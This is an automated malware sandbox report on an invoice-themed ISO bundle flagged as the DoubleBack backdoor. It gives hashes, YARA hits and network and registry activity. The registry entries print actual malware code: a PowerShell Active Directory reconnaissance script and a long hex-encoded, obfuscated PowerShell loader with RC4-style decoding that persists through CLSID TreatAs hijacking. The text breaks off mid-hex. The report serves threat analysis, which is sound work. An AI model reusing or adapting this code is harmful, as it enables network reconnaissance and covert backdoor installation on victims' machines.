Overview
overview
10Static
static
Invoice-06-1022.iso
windows7_x64
3Invoice-06-1022.iso
windows10-2004_x64
31728.ps1
windows7_x64
11728.ps1
windows10-2004_x64
10Scan_282.jpg
windows7_x64
3Scan_282.jpg
windows10-2004_x64
3Scan_282.jpg.lnk
windows7_x64
3Scan_282.jpg.lnk
windows10-2004_x64
10x.txt
windows7_x64
1x.txt
windows10-2004_x64
1Resubmissions
02-06-2022 22:15
220602-16kn1abhf3 1002-06-2022 21:45
220602-1mh13abha3 702-06-2022 21:44
220602-1ln6pabgh8 802-06-2022 21:40
220602-1jcpwabgh5 1002-06-2022 21:27
220602-1ay7hsffap 10Analysis
-
max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
02-06-2022 22:15
Static task
static1
Behavioral task
behavioral1
Sample
Invoice-06-1022.iso
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
Invoice-06-1022.iso
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
1728.ps1
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
1728.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral5
Sample
Scan_282.jpg
Resource
win7-20220414-en
Behavioral task
behavioral6
Sample
Scan_282.jpg
Resource
win10v2004-20220414-en
Behavioral task
behavioral7
Sample
Scan_282.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral8
Sample
Scan_282.jpg.lnk
Resource
win10v2004-20220414-en
Behavioral task
behavioral9
Sample
x.txt
Resource
win7-20220414-en
Behavioral task
behavioral10
Sample
x.txt
Resource
win10v2004-20220414-en
General
-
Target
1728.ps1
-
Size
150KB
-
MD5
732ac4665887f90ad5d320f0e462fce8
-
SHA1
31cb6f21e3d2f50713163163d665053f83bb5bb4
-
SHA256
3efec0b370dfacba1d8a2c9e8563441c6da54ae03925f3f845284d4ea9750731
-
SHA512
8ec4408765d152108981b68a76c42a352f9c623d74220bbbce392500cb8e618a0bd4ac6e2f05057f8520d195d64c38a834facf5cfcf168546b68e4b0287dd849
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
Processes:
resource yara_rule behavioral4/memory/2776-135-0x000002DFB6320000-0x000002DFB632A000-memory.dmp family_doubleback_x64 behavioral4/memory/2776-136-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/2284-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/2284-142-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exemsiexec.exeflow pid process 6 2776 powershell.exe 9 2284 msiexec.exe 10 2284 msiexec.exe 11 2284 msiexec.exe -
Modifies registry class 25 IoCs
Processes:
msiexec.exepowershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\ msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\CLSID\6133 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1728.ps1" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{0C0B0B04-030A-0A0C-0D06-0C0D0B131107} powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{100C0811-0D07-0604-050B-0A0808020301}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{100C0811-0D07-0604-050B-0A0808020301}\TreatAs powershell.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{100C0811-0D07-0604-050B-0A0808020301}\TreatAs\ = "{07060410-0F13-0E00-0610-110511010F0F}" powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\{0C0B0B04-030A-0A0C-0D06-0C0D0B131107}\CLSID powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{07060410-0F13-0E00-0610-110511010F0F}\ProgID powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{07060410-0F13-0E00-0610-110511010F0F}\ProgID\0F0F = 66756e6374696f6e206575397b706172616d2824646330292028697038202732343642363633393344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343642363633393245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343634363333303239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343642363633393245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436353734333732433234363436333330323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234364236363339324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3134302d3133365d2b247073686f6d655b3138342d3135305d2b277827297d66756e6374696f6e207369387b706172616d282477633729282d6a6f696e2824776337202d73706c697427282e2e29277c3f7b245f7d7c257b5b636861725d5b636f6e766572745d3a3a546f55496e74333228245f2c3136297d29297d66756e6374696f6e206370337b706172616d2824686f392c247774342920286b633920273234373036383335334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343641374133353344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343730363833353245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373036383335324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364137413335324332343638364633393239323927297c2628247073686f6d655b3134362d3134325d2b247073686f6d655b3136382d3133345d2b277827297d66756e6374696f6e206566367b706172616d282479753929202869723720273234363336373333334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343632373333383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343633363733333245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363336373333324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363237333338324332343739373533393239323927297c2628247073686f6d655b3134302d3133365d2b247073686f6d655b3138322d3134385d2b277827297d66756e6374696f6e206e6a347b706172616d282464613929202870723020273234373537393336334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343644363333383344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343735373933363245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234373537393336324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234364436333338324332343634363133393239323927297c2628247073686f6d655b3130352d3130315d2b247073686f6d655b3139302d3135365d2b277827297d66756e6374696f6e207661317b706172616d28247763372c246d6c39292028736938202732343638363633393344354234313730373034343646364436313639364535443341334134333735373237323635364537343434364636443631363936453245343436353636363936453635343437393645363136443639363334313733373336353644363236433739323832383445363537373244344636323641363536333734323035333739373337343635364432453532363536363643363536333734363936463645324534313733373336353644363236433739344536313644363532383237334635323445343433463237323932393243354235333739373337343635364432453532363536363643363536333734363936463645324534353644363937343245343137333733363536443632364337393432373536393643363436353732343136333633363537333733354433413341353237353645323932453434363536363639364536353434373936453631364436393633344436463634373536433635323832373346353234453434334632373243323436363631364337333635323932453434363536363639364536353534373937303635323832373346353234453434334632373243323734333643363137333733324335303735363236433639363332433533363536313643363536343243343136453733363934333643363137333733324334313735373436463433364336313733373332373243354235333739373337343635364432453444373536433734363936333631373337343434363536433635363736313734363535443239334232343638363633393245343436353636363936453635343336463645373337343732373536333734364637323238323735323534353337303635363336393631364334453631364436353243343836393634363534323739353336393637324335303735363236433639363332373243354235333739373337343635364432453532363536363643363536333734363936463645324534333631364336433639364536373433364636453736363536453734363936463645373335443341334135333734363136453634363137323634324332343737363333373239324535333635373434393644373036433635364436353645373436313734363936463645343636433631363737333238323735323735364537343639364436353243344436313645363136373635363432373239334232343638363633393245343436353636363936453635344436353734363836463634323832373439364537363646364236353237324332373530373536323643363936333243343836393634363534323739353336393637324334453635373735333643364637343243353636393732373437353631364332373243323436443643333932433234373736333337323932453533363537343439364437303643363536443635364537343631373436393646364534363643363136373733323832373532373536453734363936443635324334443631364536313637363536343237323933423234363836363339324534333732363536313734363535343739373036353238323927297c2628247073686f6d655b3135302d3134365d2b247073686f6d655b3134372d3131335d2b277827297d2066756e6374696f6e207364377b706172616d28247763372c246d6c392c246871332920287369382027323437333638333433443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333733303336333033343331333032443330343633313333324433303435333033303244333033363331333032443331333133303335333133313330333133303436333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303337333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333733303336323733423234363337413333334432383234373336383334354233333332354432423238333332423238333132423332333932393239323933423230323436423735333033443234373336383334354232343633374133333245324532383234363337413333324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436423735333032393342323437333638333433443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333733303336333033343331333032443330343633313333324433303435333033303244333033363331333032443331333133303335333133313330333133303436333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303436323733423234363337413333334437423230323436373636333333443330324532453332333533353342333032453245333233353335374332353742323032343638374133353344323832343638374133353242323436373636333335423234354635443242323436423735333035423234354632353234364237353330324534433635364536373734363835443239323532383238333533393338324433323338333932393244333533333239334232303234363736363333354232343546354432433234363736363333354232343638374133353544334432343637363633333542323436383741333535443243323436373636333335423234354635443230374432303342323437333638333437433235374232343634373833353344323832343634373833353242333132393235323833363335324232383238333333343242333133353337323932393239334232303234373736413339334432383234373736413339324232343637363633333542323436343738333535443239323532383238323833343339324233343331323932393242333133363336323933423230323436373636333335423234363437383335354432433234363736363333354232343737364133393544334432343637363633333542323437373641333935443243323436373636333335423234363437383335354433423234354632443632373836463732323436373636333335423238323436373636333335423234363437383335354432423234363736363333354232343737364133393544323932353238323832383331333732423332333633333239324233323239324433323336323935443230374432303744323033423234363736393333323033443230323832363230323436333741333337433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436343738333533443330334232343634373833353230324436433734323032343637363933333245344336353645363737343638334232343634373833353242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234363736393333324535333735363237333734373236393645363732383234363437383335324333323239324332383331333832443238333232443330323932393239323037443239323927297c2628247073686f6d655b3135322d3134385d2b247073686f6d655b3135382d3132345d2b277827297d2066756e6374696f6e207177317b706172616d282477633729202873693820273234363336343337334432383542343137303730343436463644363136393645354433413341343337353732373236353645373434343646364436313639364532453437363537343431373337333635364436323643363936353733323832393743353736383635373236353244344636323641363536333734374232343546324534373643364636323631364334313733373336353644363236433739343336313633363836353230324436313645363432303234354632453443364636333631373436393646364532453533373036433639373432383237354335433237323935423244333135443245343537313735363136433733323832373533373937333734363536443245363436433643323732393744323932453437363537343534373937303635323832373444363936333732364637333646363637343245353736393645333333323245353536453733363136363635344536313734363937363635344436353734363836463634373332373239334232343639363833343344344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323832383445363537373244344636323641363536333734323034393645373435303734373232393243323832343633363433373245343736353734344436353734363836463634323832373437363537343444364636343735364336353438363136453634364336353237323932453439364537363646364236353238333032433430323832373642363537323645363536433333333232453634364336433237323932393239323933423234363336343337324534373635373434443635373436383646363432383237343736353734353037323646363334313634363437323635373337333237324335423732363536363643363536333734363936463645324536323639364536343639364536373636364336313637373335443230323735303735363236433639363332433533373436313734363936333237324332343645373536433643324335423533373937333734363536443245353236353636364336353633373436393646364532453433363136433643363936453637343336463645373636353645373436393646364537333544334133413431364537393243343032383238344536353737324434463632364136353633373432303533373937333734363536443245353237353645373436393644363532453439364537343635373236463730353336353732373636393633363537333245343836313645363436433635353236353636323932453437363537343534373937303635323832393243354237333734373236393645363735443239324332343645373536433643323932453439364537363646364236353238323436453735364336433243343032383542353337393733373436353644324535323735364537343639364436353245343936453734363537323646373035333635373237363639363336353733324534383631364536343643363535323635363635443234363936383334324332343737363333373239323927297c2628247073686f6d655b3136312d3135375d2b247073686f6d655b3137312d3133375d2b277827297d66756e6374696f6e207a67377b706172616d28247773312c246970302920287564352027323437303646333533443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333733303336333033343331333032443330343633313333324433303435333033303244333033363331333032443331333133303335333133313330333133303436333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303337333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333733303336323733423234373137413335334432383234373036463335354233333332354432423238333332423238333132423332333932393239323933423230323436423739333733443234373036463335354232343731374133353245324532383234373137413335324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323436423739333732393342323437303646333533443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333733303336333033343331333032443330343633313333324433303435333033303244333033363331333032443331333133303335333133313330333133303436333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303436323733423234373137413335334437423230323436373646333233443330324532453332333533353342333032453245333233353335374332353742323032343734363733333344323832343734363733333242323436373646333235423234354635443242323436423739333735423234354632353234364237393337324534433635364536373734363835443239323532383238333533393338324433323338333932393244333533333239334232303234363736463332354232343546354432433234363736463332354232343734363733333544334432343637364633323542323437343637333335443243323436373646333235423234354635443230374432303342323437303646333537433235374232343636364333303344323832343636364333303242333132393235323833363335324232383238333333343242333133353337323932393239334232303234374136433333334432383234374136433333324232343637364633323542323436363643333035443239323532383238323833343339324233343331323932393242333133363336323933423230323436373646333235423234363636433330354432433234363736463332354232343741364333333544334432343637364633323542323437413643333335443243323436373646333235423234363636433330354433423234354632443632373836463732323436373646333235423238323436373646333235423234363636433330354432423234363736463332354232343741364333333544323932353238323832383331333732423332333633333239324233323239324433323336323935443230374432303744323033423234364236333337323033443230323832363230323437313741333537433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436363643333033443330334232343636364333303230324436433734323032343642363333373245344336353645363737343638334232343636364333303242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234364236333337324535333735363237333734373236393645363732383234363636433330324333323239324332383331333832443238333232443330323932393239323037443239323927297c2628247073686f6d655b3134382d3134345d2b247073686f6d655b3133392d3130355d2b277827297d66756e6374696f6e206862347b706172616d28246f61382c247163312920286f61302027323437303644333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333733303336333033343331333032443330343633313333324433303435333033303244333033363331333032443331333133303335333133313330333133303436333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303337333033363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330333733303336323733423234363936363336334432383234373036443338354233333332354432423238333332423238333132423332333932393239323933423230323437383645333533443234373036443338354232343639363633363245324532383234363936363336324233333331323935443342323035423631373237323631373935443341334135323635373636353732373336353238323437383645333532393342323437303644333833443437363537343244343937343635364435303732364637303635373237343739323032443530363137343638323032373638364236433644334135433733364636363734373736313732363535433633364336313733373336353733354334333443353334393434354337423330333733303336333033343331333032443330343633313333324433303435333033303244333033363331333032443331333133303335333133313330333133303436333034363744354335363635373237333639364636453439364536343635373036353645363436353645373435303732364636373439343432373230324436453230323733303436333034363237374335333635364336353633373432443446363236413635363337343230324434353738373036313645363435303732364637303635373237343739323032373330343633303436323733423234363936363336334437423230323436373645333033443330324532453332333533353342333032453245333233353335374332353742323032343645373133393344323832343645373133393242323436373645333035423234354635443242323437383645333535423234354632353234373836453335324534433635364536373734363835443239323532383238333533393338324433323338333932393244333533333239334232303234363736453330354232343546354432433234363736453330354232343645373133393544334432343637364533303542323436453731333935443243323436373645333035423234354635443230374432303342323437303644333837433235374232343631364533323344323832343631364533323242333132393235323833363335324232383238333333343242333133353337323932393239334232303234373337353330334432383234373337353330324232343637364533303542323436313645333235443239323532383238323833343339324233343331323932393242333133363336323933423230323436373645333035423234363136453332354432433234363736453330354232343733373533303544334432343637364533303542323437333735333035443243323436373645333035423234363136453332354433423234354632443632373836463732323436373645333035423238323436373645333035423234363136453332354432423234363736453330354232343733373533303544323932353238323832383331333732423332333633333239324233323239324433323336323935443230374432303744323033423234373637323336323033443230323832363230323436393636333637433636364637323635363136333638324436463632364136353633373437423237374233303341353833323744323732303244363632303234354632303744323932443641364636393645323032373237334232303238323432383636364637323238323436313645333233443330334232343631364533323230324436433734323032343736373233363245344336353645363737343638334232343631364533323242334433323239374232303542363336463645373636353732373435443341334135343646343237393734363532383234373637323336324535333735363237333734373236393645363732383234363136453332324333323239324332383331333832443238333232443330323932393239323037443239323927297c2628247073686f6d655b3132382d3132345d2b247073686f6d655b3135322d3131385d2b277827297d66756e6374696f6e20676e397b706172616d28246d6c362c246e6334292028776d36202732343643364633373344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033373330333633303334333133303244333034363331333332443330343533303330324433303336333133303244333133313330333533313331333033313330343633303436374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330333733303336323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333033373330333632373342323436313645333333443238323436433646333735423333333235443242323833333242323833313242333233393239323932393342323032343741373433383344323436433646333735423234363136453333324532453238323436313645333332423333333132393544334232303542363137323732363137393544334133413532363537363635373237333635323832343741373433383239334232343643364633373344343736353734324434393734363536443530373236463730363537323734373932303244353036313734363832303237363836423643364433413543373336463636373437373631373236353543363336433631373337333635373335433433344335333439343435433742333033373330333633303334333133303244333034363331333332443330343533303330324433303336333133303244333133313330333533313331333033313330343633303436374435433536363537323733363936463645343936453634363537303635364536343635364537343530373236463637343934343237323032443645323032373330343633303436323737433533363536433635363337343244344636323641363536333734323032443435373837303631364536343530373236463730363537323734373932303237333034363330343632373342323436313645333333443742323032343635363733313344333032453245333233353335334233303245324533323335333537433235374232303234373736463339334432383234373736463339324232343635363733313542323435463544324232343741373433383542323435463235323437413734333832453443363536453637373436383544323932353238323833353339333832443332333833393239324433353333323933423230323436353637333135423234354635443243323436353637333135423234373736463339354433443234363536373331354232343737364633393544324332343635363733313542323435463544323037443230334232343643364633373743323537423234364136313339334432383234364136313339324233313239323532383336333532423238323833333334324233313335333732393239323933423230323436383733333633443238323436383733333632423234363536373331354232343641363133393544323932353238323832383334333932423334333132393239324233313336333632393342323032343635363733313542323436413631333935443243323436353637333135423234363837333336354433443234363536373331354232343638373333363544324332343635363733313542323436413631333935443342323435463244363237383646373232343635363733313542323832343635363733313542323436413631333935443242323436353637333135423234363837333336354432393235323832383238333133373242333233363333323932423332323932443332333632393544323037443230374432303342323436373641333432303344323032383236323032343631364533333743363636463732363536313633363832443646363236413635363337343742323737423330334135383332374432373230324436363230323435463230374432393244364136463639364532303237323